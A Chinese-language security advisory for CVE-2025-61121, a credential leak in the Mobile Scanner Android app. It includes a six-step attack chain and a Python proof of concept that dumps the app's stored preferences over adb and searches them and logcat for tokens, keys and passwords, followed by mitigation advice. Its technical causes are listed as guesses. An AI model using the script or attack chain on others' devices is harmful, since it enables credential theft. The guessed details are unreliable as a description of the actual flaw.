CVE-2025-61121: Mobile Scanner Android App凭证泄漏漏洞

漏洞信息

漏洞编号

CVE-2025-61121

漏洞类型

凭证泄漏

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Mobile Scanner Android App (com.glority.everlens) by Glority Global Group Ltd.

漏洞概述

CVE-2025-61121是Glority Global Group Ltd.开发的Mobile Scanner Android App（版本2.12.38，包名com.glority.everlens）中存在的严重安全漏洞。该漏洞属于凭证泄漏（Credential Leakage）类型，由于应用程序对云服务凭证的不当处理，导致敏感凭证信息可能被未授权的第三方获取。Mobile Scanner是一款用于扫描文档的移动应用程序，通常需要与云存储服务集成以实现数据同步和备份功能。攻击者一旦成功获取应用程序的云服务凭证，即可冒充合法用户执行各种操作，包括但不限于：敏感信息泄露（访问用户存储的文档数据）、滥用云资源（利用受害者账户的计算和存储资源）、进一步横向移动（在云环境中探索更多攻击面）。该漏洞的CVSS评分为7.5，属于高危级别，对用户隐私和云平台基础设施安全构成严重威胁。漏洞影响范围涵盖所有使用受影响版本应用程序的用户和企业环境。

技术细节

Mobile Scanner Android App在实现云服务集成时，存在凭证安全管理缺陷。应用程序在本地存储或传输云服务凭证时，未采用足够的安全措施进行保护。具体问题可能包括：1) 凭证以明文或弱加密形式存储在设备本地存储中，容易被具有设备访问权限的攻击者提取；2) 凭证在网络传输过程中未使用强加密或安全通道，存在中间人攻击风险；3) 应用程序日志或调试信息中可能包含敏感凭证信息；4) 凭证硬编码或存储在可被反编译提取的位置。攻击者可以通过以下方式利用此漏洞：获取目标设备物理访问权限或通过恶意软件获取设备root权限，直接读取应用私有存储中的凭证文件；通过中间人攻击拦截应用程序与云服务的通信流量，提取传输中的凭证信息；利用反编译工具分析应用程序二进制文件，查找硬编码或可提取的凭证。一旦获取凭证，攻击者可以在云服务提供商的平台上以受害者身份认证，执行数据访问、资源滥用等恶意操作。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者首先识别目标设备上安装的Mobile Scanner应用（com.glority.everlens），确认版本为2.12.38或更早版本

STEP 2

步骤2: 获取设备访问

攻击者通过物理访问设备、恶意软件或社会工程学手段获得设备的访问权限，必要时获取root权限

STEP 3

步骤3: 提取凭证

攻击者利用adb命令或文件管理器访问应用的私有存储区域，从SharedPreferences、数据库或其他配置文件中提取明文或弱加密的云服务凭证

STEP 4

步骤4: 凭证验证

攻击者使用提取的凭证在云服务平台上尝试认证，验证凭证的有效性和权限范围

STEP 5

步骤5: 未授权访问

成功认证后，攻击者可以访问用户存储的敏感文档数据、滥用云资源或进行进一步的横向移动攻击

STEP 6

步骤6: 持久化控制

攻击者可能在云平台上创建后门账户或修改认证配置，以维持长期访问能力

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-61121 PoC - Mobile Scanner Credential Extraction
# This PoC demonstrates the credential leakage vulnerability

import subprocess
import os
import re

def extract_shared_prefs(app_package):
    """
    Extract SharedPreferences files containing credentials
    """
    cmd = f'adb shell run-as {app_package} ls files/shared_prefs/'
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
        prefs_files = result.stdout.strip().split('\n')
        print(f'[+] Found {len(prefs_files)} SharedPreferences files')
        
        for pref_file in prefs_files:
            if pref_file:
                extract_cmd = f'adb shell run-as {app_package} cat files/shared_prefs/{pref_file}'
                content = subprocess.run(extract_cmd, shell=True, capture_output=True, text=True)
                print(f'\n[+] Contents of {pref_file}:')
                print(content.stdout)
                
                # Search for credential patterns
                credential_patterns = [
                    r'api[_-]?key',
                    r'token',
                    r'secret',
                    r'password',
                    r'credential',
                    r'auth'
                ]
                
                for pattern in credential_patterns:
                    if re.search(pattern, content.stdout, re.IGNORECASE):
                        print(f'[!!] Potential credential found with pattern: {pattern}')
    except Exception as e:
        print(f'[-] Error: {e}')

def check_logcat(app_package):
    """
    Check logcat for leaked credentials in app logs
    """
    print('\n[+] Checking logcat for credential leaks...')
    cmd = f'adb logcat -d | grep -i {app_package} | grep -iE "(token|key|secret|credential|auth)"'
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
        if result.stdout:
            print('[!!] Possible credentials found in logs:')
            print(result.stdout)
        else:
            print('[-] No obvious credentials in logs')
    except Exception as e:
        print(f'[-] Error: {e}')

if __name__ == '__main__':
    TARGET_APP = 'com.glority.everlens'
    print(f'[*] Analyzing {TARGET_APP} for CVE-2025-61121')
    print('[*] Extracting stored credentials...')
    extract_shared_prefs(TARGET_APP)
    check_logcat(TARGET_APP)
    print('\n[*] Analysis complete')

影响范围

Mobile Scanner Android App (com.glority.everlens) <= 2.12.38

防御指南

临时缓解措施

在官方修复版本发布之前，建议采取以下临时缓解措施：1) 立即停止使用受影响版本的Mobile Scanner应用；2) 撤销并轮换所有通过该应用访问的云服务凭证；3) 启用云服务提供商的多因素认证（MFA）以增加账户安全防护；4) 限制设备上的应用程序权限，撤销不必要的存储和网络访问权限；5) 监控云服务账户的异常活动日志；6) 考虑使用移动设备管理（MDM）解决方案强制实施安全策略；7) 对员工进行安全意识培训，提醒不要在不受信任的网络环境下使用敏感应用程序。